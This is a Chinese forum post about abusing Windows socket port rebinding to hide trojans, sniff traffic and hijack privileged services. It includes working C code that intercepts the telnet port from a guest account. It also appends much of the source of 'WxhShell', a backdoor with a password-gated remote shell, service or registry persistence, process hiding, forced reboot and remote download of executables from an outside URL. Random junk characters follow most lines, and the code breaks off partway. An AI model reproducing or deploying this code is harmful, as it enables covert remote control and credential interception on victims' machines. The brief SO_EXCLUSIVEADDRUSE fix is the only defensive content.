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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Jf_]Z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pAEN XC\,  
mH'\:oN  
  saddr.sin_family = AF_INET; =f o4x|{O  
f 4R1$(<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /ca(a\@R  
(F_w>w.h  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Tc:sldtCk  
c2/FHI0J;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rW[SU:  
DWuRJ  
  这意味着什么?意味着可以进行如下的攻击: ?#4+r_dP  
(Ar?QwP9>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~Y% : 3  
,MRvuw0P  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #xlZU  
/[0F6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gC0;2  
(%i!%{!]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =h(7rU"Yz  
7k>zuzRyF  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q5g,7ac8L  
bpGzTU  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 CP +4k.)*O  
Wt(Kd5k0'2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?;Un#6b  
-zprNQW  
  #include R3$@N  
  #include .Nc_n5D6  
  #include -=}b;Kf -  
  #include    rWJ*e Y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [4Y[?)7  
  int main() n9DbiL1{  
  { i9KTX%s5^  
  WORD wVersionRequested; Ga.0Io&}C  
  DWORD ret; <p09oZ{6  
  WSADATA wsaData; [ qiOd!  
  BOOL val; R^w}o,/  
  SOCKADDR_IN saddr; M]1;  
  SOCKADDR_IN scaddr; }0Y`|H\v  
  int err; NJ<N%hcjK  
  SOCKET s; z=B< `}@3  
  SOCKET sc; am2a#4`  
  int caddsize; A$Wx#r7)  
  HANDLE mt; 0E yAMu  
  DWORD tid;   pOKeEW<q  
  wVersionRequested = MAKEWORD( 2, 2 ); =9(tsB gTX  
  err = WSAStartup( wVersionRequested, &wsaData ); X\kjAMuW/*  
  if ( err != 0 ) { NK~PcdGl  
  printf("error!WSAStartup failed!\n"); wajZqC2yg  
  return -1; 4x(F&0  
  } p/N62G  
  saddr.sin_family = AF_INET; +SyUWoM  
   b]w[*<f?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )XpV u  
/V#7=,,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #J\s%60pt  
  saddr.sin_port = htons(23); r4EoJyt  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~zMDY F"&  
  { n%*tMr9s  
  printf("error!socket failed!\n"); Z&A0hI4d  
  return -1; TQ?#PRB  
  } X>}@EHT  
  val = TRUE; :Z[(A"dA  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~U9q-/(J/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) kB V/rw  
  { >{b3>s~T  
  printf("error!setsockopt failed!\n"); };^}2Xo+  
  return -1; nW11wtiO.  
  } g**5z'7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3 tF:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vnL?O8`c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 JxHv<p[  
).Q[!lly   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) TywK\hH  
  { [ T-*/}4$  
  ret=GetLastError(); ?]5Ix1  
  printf("error!bind failed!\n"); ^( DL+r,  
  return -1; J B(<.E 2  
  } k&!6fZ)  
  listen(s,2); $7Cgo&J  
  while(1) $,@JYLC2  
  { y`6\L$c  
  caddsize = sizeof(scaddr); oJh"@6u6K  
  //接受连接请求 TVYz3~m  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i+I0k~wY  
  if(sc!=INVALID_SOCKET) /~tP7<7A  
  { R1Yqz $#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %7 /,m  
  if(mt==NULL) #hy+ L  
  { [8TS"ph>  
  printf("Thread Creat Failed!\n"); :mP9^Do2;  
  break; <n\i>A3`,S  
  } a(f(R&-:$Y  
  } $cu]_gu  
  CloseHandle(mt); +X[8wUm|^  
  } SwX@I6huM  
  closesocket(s); NZP7r;u  
  WSACleanup(); =-5[Hn%  
  return 0; @i{]4rk lv  
  }   /e(W8aszi  
  DWORD WINAPI ClientThread(LPVOID lpParam) AX K95eS  
  { 50 *@.!^*  
  SOCKET ss = (SOCKET)lpParam; 2 eHx"Ha  
  SOCKET sc; D?mDG|Z  
  unsigned char buf[4096]; 2qjyFTT  
  SOCKADDR_IN saddr; DLXL!-)z  
  long num; 8+ hhdy*b  
  DWORD val; ` .$&T7  
  DWORD ret; ` jyKCm.$#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &//2eL  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   TA|s@T{  
  saddr.sin_family = AF_INET; ?9Ma^C;}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'B,KFA<  
  saddr.sin_port = htons(23); J)KnE2dw5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;Gh>44UM[  
  { {:$NfW  
  printf("error!socket failed!\n"); XfDX:b1p  
  return -1; t H,sql)  
  } B$j' /e-Zk  
  val = 100; h;nQxmJ9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0#^Bf[Dn  
  {  ,Y-S(  
  ret = GetLastError(); N8QH*FX/F1  
  return -1; C99&L3bz^(  
  } %{"dP%|w4}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kIX)oD}c  
  { }jiK3?e  
  ret = GetLastError(); 6bUl > 4  
  return -1; &oEyixe  
  } X.eB ;w/}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cWM:  
  { 5NFRPGYX  
  printf("error!socket connect failed!\n"); a%*_2#  
  closesocket(sc); 0MrN:M2B  
  closesocket(ss); ^vM_kAr A  
  return -1; 1]Lh'.1^  
  } `O n(v  
  while(1) x0ne8NDP  
  { B!uxs  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 He<;4?:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &`@lB (m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]!faA\1  
  num = recv(ss,buf,4096,0); LQ>$ >A(  
  if(num>0) 6n,xH!7  
  send(sc,buf,num,0); t\%%d)d9  
  else if(num==0) * :S~C  
  break; ,cD1{T\  
  num = recv(sc,buf,4096,0); L;lk.~V4T  
  if(num>0) m9!DOL1pl  
  send(ss,buf,num,0); A_F0\ EN*  
  else if(num==0) x_W3sS]ej  
  break; N<n8'XDdG  
  } bw5T2wYZ  
  closesocket(ss); |]tZ hI"3<  
  closesocket(sc); XWXr0>!,?  
  return 0 ; I=odMw7Hj  
  } $L\@da?  
AqqHD=Yp  
KSsWjF}d  
========================================================== w5(yCyNp~  
=x#&\ui  
下边附上一个代码,,WXhSHELL .<.#aY;N  
cmIT$?J  
========================================================== Bq{ ]Eh0%  
[4\aYB9N  
#include "stdafx.h" u>}zm_  
,Z5Fea  
#include <stdio.h> cd&B?\I  
#include <string.h>  Fs)  
#include <windows.h> y!hi"!  
#include <winsock2.h> LuL$v+`  
#include <winsvc.h> ~#4~_d.=L  
#include <urlmon.h> Gk 6fO  
Y;g% e3nu  
#pragma comment (lib, "Ws2_32.lib") v#F-<?Vv  
#pragma comment (lib, "urlmon.lib") &=NJ  
[S)G$JW  
#define MAX_USER   100 // 最大客户端连接数 @ t|3gF$X  
#define BUF_SOCK   200 // sock buffer BfVBywty  
#define KEY_BUFF   255 // 输入 buffer l=NAq_?N\  
70=(. [^+  
#define REBOOT     0   // 重启 M}KZG'7  
#define SHUTDOWN   1   // 关机 ?S9Nm~vlt  
; h9W\Se  
#define DEF_PORT   5000 // 监听端口 z{/LX \  
)mG0g@qOK  
#define REG_LEN     16   // 注册表键长度 `0z/BCNB  
#define SVC_LEN     80   // NT服务名长度 B.RRdK+:  
om>VQ3  
// 从dll定义API Ko+al{2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q0WY$w1 <  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 03F3q4"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C]Q>*=r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +N8aq<l  
_aY.  
// wxhshell配置信息 }PmTR4F!}  
struct WSCFG { 0O[l?e4,8{  
  int ws_port;         // 监听端口 )$h-ZYc  
  char ws_passstr[REG_LEN]; // 口令 yf?W^{^|  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^}hZ'<PK  
  char ws_regname[REG_LEN]; // 注册表键名 ]) =H  
  char ws_svcname[REG_LEN]; // 服务名 ?b"Vj+1:x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m/{Y]D{2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4&]%e6,jH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F+3!uWUK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }k| g%H J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /3F<=zikO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z'*ml ?  
3A d*,>!  
}; D$$3fN.iEL  
PLdf_/]-   
// default Wxhshell configuration .aJ%am/:%  
struct WSCFG wscfg={DEF_PORT, 7j T#BWt  
    "xuhuanlingzhe", E[ 0Sst x  
    1, _jo$)x+'x  
    "Wxhshell", QY6O(=  
    "Wxhshell", Yw1Y-M  
            "WxhShell Service", @7-D7  
    "Wrsky Windows CmdShell Service", eVrNYa1>H  
    "Please Input Your Password: ", KX=/B=3~  
  1, H>Ks6V)RL4  
  "http://www.wrsky.com/wxhshell.exe", 80HEAv,O  
  "Wxhshell.exe" \6i 9q=  
    }; jceHK l  
pagC(F  
// 消息定义模块 8:<1|]]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jzQ I>u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W#V fX!~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [NjajA~z>F  
char *msg_ws_ext="\n\rExit."; WkP|4&-<  
char *msg_ws_end="\n\rQuit."; ~T7\8K+ $  
char *msg_ws_boot="\n\rReboot...";  7BS/T  
char *msg_ws_poff="\n\rShutdown..."; <\p&jk?  
char *msg_ws_down="\n\rSave to "; QY =QQG  
^(J-dK  
char *msg_ws_err="\n\rErr!"; Cc*|Zw  
char *msg_ws_ok="\n\rOK!"; 8TI#7  
<ip)r;  
char ExeFile[MAX_PATH]; y+= \z*9  
int nUser = 0; R@&?i=gk  
HANDLE handles[MAX_USER]; }-dF+m:  
int OsIsNt; v|>BDN@,6  
B]i+,u  
SERVICE_STATUS       serviceStatus; "(N-h\7Ex9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "~Us#4>  
0OEtU5lf`y  
// 函数声明 7F~xq#Wi#  
int Install(void); 9c%(]Rn:  
int Uninstall(void); Gy$o7|PA"{  
int DownloadFile(char *sURL, SOCKET wsh); ?o@E1:aA  
int Boot(int flag); 5uzpTNAMM1  
void HideProc(void); Etdd\^  
int GetOsVer(void); dbd"pR8v  
int Wxhshell(SOCKET wsl); Wz5d| b  
void TalkWithClient(void *cs); nE4l0[_  
int CmdShell(SOCKET sock); vRxL&8`&  
int StartFromService(void); Re{ej  
int StartWxhshell(LPSTR lpCmdLine); ^,>}%1\  
(KZUvsSk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +Z]y #=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y[T J;O!R  
95VqaR,  
// 数据结构和表定义 80cm6?,xu  
SERVICE_TABLE_ENTRY DispatchTable[] = N4tc V\O  
{ pc^E'h:  
{wscfg.ws_svcname, NTServiceMain}, 7@3M]5:3g  
{NULL, NULL} !SN6 ?Xy  
}; m[{nm95QZ  
lf}?!*V`+  
// 自我安装 3EAX]  
int Install(void) %sYk0~E  
{ dfnX!C~6\  
  char svExeFile[MAX_PATH]; ]D?oQ$q7  
  HKEY key; p<ry$=`  
  strcpy(svExeFile,ExeFile); N%: D8\qx  
@i;LZa  
// 如果是win9x系统,修改注册表设为自启动 2~+'vi  
if(!OsIsNt) { s9=pV4fA~w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O $YJku  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !P+~ c0DF  
  RegCloseKey(key); O'Vh{JHf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?NQD#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6CCZda@  
  RegCloseKey(key); +HYN$>  
  return 0; *'s&/vEy  
    } +W!'B r  
  } WReYF+Uen  
} 65 NWX8f}  
else { J*/$ywI  
E\W;:p,{A  
// 如果是NT以上系统,安装为系统服务 >I{4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !Mm+bWn=mB  
if (schSCManager!=0) l^)o'YS y  
{ HdDo&#  
  SC_HANDLE schService = CreateService rAtai}Lx  
  ( w}fqs/)w  
  schSCManager, 5B_-nYJDt  
  wscfg.ws_svcname, -(`K7T>D.  
  wscfg.ws_svcdisp, :+kg4v&r  
  SERVICE_ALL_ACCESS, 6f<*1YR F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7m vSo350  
  SERVICE_AUTO_START, \nn56o@eN  
  SERVICE_ERROR_NORMAL, Z{Lmd`<w`j  
  svExeFile, ~]jx+6k]  
  NULL, N.ItyV  
  NULL, i+kFL$N  
  NULL, "0p +SZ~D  
  NULL, V7qCbd^>XJ  
  NULL t"jIfU>'a/  
  ); Djg 1Qh  
  if (schService!=0) `\4RFr$  
  { btJ,dpir  
  CloseServiceHandle(schService); N4[ B:n  
  CloseServiceHandle(schSCManager); ayB=|*Q"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _:/Cl9~  
  strcat(svExeFile,wscfg.ws_svcname); \3J+OY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]0at2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s:qxAUi\/  
  RegCloseKey(key); x0N-[//YV  
  return 0; n3-GnVC][  
    } 4+Li)A:4.  
  } p7?CeyZ-V  
  CloseServiceHandle(schSCManager); T +|J19  
} >"2\D|-/  
} S}XB |  
Off: ~  
return 1; E1mI Xd;.  
} eHfG;NsV /  
G FSlYG  
// 自我卸载 Jv '3](  
int Uninstall(void) ^H@!)+ =  
{ oi%5t)VsS  
  HKEY key; a,F8+ Pb>  
81%qM7v9H  
if(!OsIsNt) { WHdqO8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  ==r ?  
  RegDeleteValue(key,wscfg.ws_regname); M9ter&  
  RegCloseKey(key); y&KoL\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qkZ5+2m  
  RegDeleteValue(key,wscfg.ws_regname); $Sc08ro  
  RegCloseKey(key); M4L~bK   
  return 0; #]N&6ngJ  
  } 59"Nn\}3gE  
} 5,G<}cd  
} ~Sn5;g8+\  
else { Ynk><0g6  
=B ,_d0Id  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d6Q :{!Sd"  
if (schSCManager!=0) MfZ}xu  
{ ~0Q\Lp);  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @5dB b+0J  
  if (schService!=0) &D&5UdN x  
  { PG-cu$\??  
  if(DeleteService(schService)!=0) { VygXhh^7\  
  CloseServiceHandle(schService); c DEe?WS  
  CloseServiceHandle(schSCManager); ~I8"l@H>  
  return 0; .yHHogbt  
  } ID{Pzmt-  
  CloseServiceHandle(schService); 8O;rp(N.n  
  } }SJLBy0  
  CloseServiceHandle(schSCManager);  5Fl  
} H8=vQy  
} /(WX!EEsB  
}AeE|RNc  
return 1; Npg5Z%+y  
} 0N} wD-  
ho SU`X  
// 从指定url下载文件 f0fqDmn  
int DownloadFile(char *sURL, SOCKET wsh) Xy KKD&j  
{ s1*WK&@  
  HRESULT hr; D; 35@gtj  
char seps[]= "/"; \e5,`  
char *token; $HR(|{piZ  
char *file; (0+GLI8  
char myURL[MAX_PATH]; OA8b_k~  
char myFILE[MAX_PATH]; F~uA-g  
%l]rQjV-  
strcpy(myURL,sURL); `)gkkZ$)j  
  token=strtok(myURL,seps); W0r5D9k  
  while(token!=NULL) * zJiii  
  { M%Kx{*aw&  
    file=token; 'piF_5(@  
  token=strtok(NULL,seps); B2Awdw3=g  
  } S|u1QGB  
KzFs#rhpn  
GetCurrentDirectory(MAX_PATH,myFILE);  zxynEdO  
strcat(myFILE, "\\"); xVwi }jtG|  
strcat(myFILE, file); cvLcre% >A  
  send(wsh,myFILE,strlen(myFILE),0); 4)>\rqF+v  
send(wsh,"...",3,0); *M**h-p2'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \Vhp B   
  if(hr==S_OK) ah&plaVzC  
return 0; "351s3ff  
else ]a Ma*fF  
return 1; ~]t2?SqNm  
yI)RG OV  
} `- uZv  
(^@;`8Dy8  
// 系统电源模块 uBL~AC3>O  
int Boot(int flag) ?U.&7yY  
{ O.40^u~  
  HANDLE hToken; R;,u >P "  
  TOKEN_PRIVILEGES tkp; \5L4*  
%;\2QI`R  
  if(OsIsNt) { 1wH/#K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HU.6L 'H*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ul~}@^m]4}  
    tkp.PrivilegeCount = 1; Ivgwm6M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V44sNi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =*)O80oaW  
if(flag==REBOOT) { P A+e= %  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HDXjH|of  
  return 0; gV.Pg[[1  
} 4>ce,*B1  
else { b<8J;u<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KX`nHu;  
  return 0; 7!QXh;u  
} ]C:Ifh~  
  } 0R!}}*Ee>q  
  else { gu%'M:Xe  
if(flag==REBOOT) { AZ Lt'9UD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V/[,1W[B  
  return 0; Jtk.v49Ad>  
} f`";Q/rG  
else { ,9j:h)ks?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =rtA{g$)+  
  return 0; a*wJcJTpV"  
} x jUH<LFxy  
} k~EPVJh"  
M&\?)yG  
return 1; 8J(zWV7 r  
} fyoB]{$p8  
aZ:?(u]  
// win9x进程隐藏模块 2 n+XML  
void HideProc(void) (/P&;?j  
{ Bc@r*zb  
YV!V9   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oX]1>#5UMg  
  if ( hKernel != NULL ) |"E9DD]{  
  { YGO7lar  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?kxWj(D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2B?i2[a,  
    FreeLibrary(hKernel); 50hh0!1  
  } EF^=3  
#3[b|cL  
return; o)D+qiA3U  
} dGW7,B~  
vgp%;-p(  
// 获取操作系统版本 CH+&  
int GetOsVer(void) "9T`3cM0  
{ U4I` xw'  
  OSVERSIONINFO winfo; Oqe.t;E 0}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >u#VHaB  
  GetVersionEx(&winfo); r%mTOLef  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \B ^sJ[n  
  return 1; G+^$JN=  
  else |Ie`L("  
  return 0; hBSJEP  
} scEQDV  
4W-+k  
// 客户端句柄模块 1E_Ui1[  
int Wxhshell(SOCKET wsl) g~D6.OZU  
{ Gv3Fg[MA@c  
  SOCKET wsh; /g7?,/vnZ  
  struct sockaddr_in client; TFA  
  DWORD myID; ]TprPU39  
P&`r87J  
  while(nUser<MAX_USER) l%5%oN`4  
{ [MP :Eeg  
  int nSize=sizeof(client); 1e| M6*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]BBgU[O) !  
  if(wsh==INVALID_SOCKET) return 1; /%w[q:..h  
AFJY!ou~6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IGV.0l  
if(handles[nUser]==0) 1>{-wL4rc  
  closesocket(wsh); __%E!*m"<_  
else \k-juF80  
  nUser++; iC2nHZ*,  
  } z(68^-V=:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ui;s.f  
{Y TF]J $  
  return 0; kU>|E<c*  
} trt\PP:H%  
zFQkUgb  
// 关闭 socket Y rnqi-P  
void CloseIt(SOCKET wsh) |^{" 2l"j  
{ u(`A?H:  
closesocket(wsh); O!Cu.9}  
nUser--; r@UY$z  
ExitThread(0); X_@@v|UF  
} zm"g,\.d  
<&Xq`i/(  
// 客户端请求句柄 2/N*Uk 0  
void TalkWithClient(void *cs) F;@&uXYgc  
{ yyDBW`V((  
-s "$I:v  
  SOCKET wsh=(SOCKET)cs; xmx;tq  
  char pwd[SVC_LEN]; VjM uU"++@  
  char cmd[KEY_BUFF]; ,X6j$YLWp  
char chr[1]; x^skoz  
int i,j; oF^hq-xcP  
,lM2BXz%  
  while (nUser < MAX_USER) { cBf{R^>Fd  
c)fp;^  
if(wscfg.ws_passstr) { 8{ t&8Ql n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6^u(PzlA|~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5)<jPyC  
  //ZeroMemory(pwd,KEY_BUFF); (.+n1)L?  
      i=0; B`EgL/Wg[  
  while(i<SVC_LEN) { uNBhVsM6<  
dF]8>jBOL  
  // 设置超时 N)Kr4GC  
  fd_set FdRead; @ xr   
  struct timeval TimeOut; 4 Z)]Cq*3  
  FD_ZERO(&FdRead); f`rz)C03  
  FD_SET(wsh,&FdRead); U# B  
  TimeOut.tv_sec=8; R/|{?:r?:x  
  TimeOut.tv_usec=0; AE _~DZ:%c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dig76D_[e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  p ivS8C  
XjU;oh4:.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1]`HX=cl  
  pwd=chr[0]; k@U`?7X  
  if(chr[0]==0xd || chr[0]==0xa) { [nD4\x+  
  pwd=0; XePBA J  
  break; Jj:4@p:  
  } +,>bpp1  
  i++; Q6>( Z  
    } 5 Vqvb|  
Hp AZ{P7  
  // 如果是非法用户,关闭 socket *X=-^\G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W7"sWaOhW  
} !{;RtUPz*  
*?&O8SSBH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iK:]Q8b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RVnYe='  
o#6}?g.  
while(1) { Gzt5efygKt  
oFp&j@`k8j  
  ZeroMemory(cmd,KEY_BUFF); sAlgp2-  
ztpb/9J9  
      // 自动支持客户端 telnet标准   [L^#<@S  
  j=0; {jG`l$$  
  while(j<KEY_BUFF) { wv-8\)oA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DBDfB b  
  cmd[j]=chr[0]; `<d>C}9  
  if(chr[0]==0xa || chr[0]==0xd) { w[-Bsf  
  cmd[j]=0; ;Vt u8f  
  break; q(W@=-uDK  
  } +Z*%,m=N(  
  j++; 6'zy"UkH  
    } rOT8!"  
%}:J 9vra  
  // 下载文件 6B{Awm@v}X  
  if(strstr(cmd,"http://")) { .5xM7,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'h6RZKG T  
  if(DownloadFile(cmd,wsh)) _: K\v8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OpQa!  
  else IIZsN*^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _I!&w!3oM  
  } kpu^:N &  
  else { 0<9TyN6  
B"v=Fr[  
    switch(cmd[0]) { [4e5(!e  
  8 Hn{CJ~'  
  // 帮助 Q<pM tW  
  case '?': { k~ue^^r}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %?jf.p*kY  
    break;  HV(Kz  
  } Jt8 v=<@  
  // 安装 !A o?bs'  
  case 'i': { lOui{QU  
    if(Install()) yNL71>w4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (tvh9 o  
    else nabN.Ly  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L?fv5 S3  
    break; !w Bmf&=  
    } x3 S  
  // 卸载 e+[J9;g  
  case 'r': { ,R+u%bmn#  
    if(Uninstall()) ($kwlj~c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JSU\Hh!  
    else Y$^\D' .k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2OTpGl  
    break; Ipe;%as#  
    } hj4Rr(T  
  // 显示 wxhshell 所在路径 b}:Z(L,\  
  case 'p': { rL=$WxdPU  
    char svExeFile[MAX_PATH]; nq=fSK(  
    strcpy(svExeFile,"\n\r"); $/H'Dt6x  
      strcat(svExeFile,ExeFile); zBbTj IFQ  
        send(wsh,svExeFile,strlen(svExeFile),0); -)@.D>HsOt  
    break; 1yu!:8=ee  
    } %0 4n,&mg  
  // 重启 hd\#Vh(H  
  case 'b': { BlUY9`VWh@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @4i D N  
    if(Boot(REBOOT)) i ?>"}h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?HY0@XILI  
    else { dQ[lXV[}v  
    closesocket(wsh); *u }):8=&R  
    ExitThread(0); ^4"_I   
    } uOQ5.S+  
    break; _OY;SJ(  
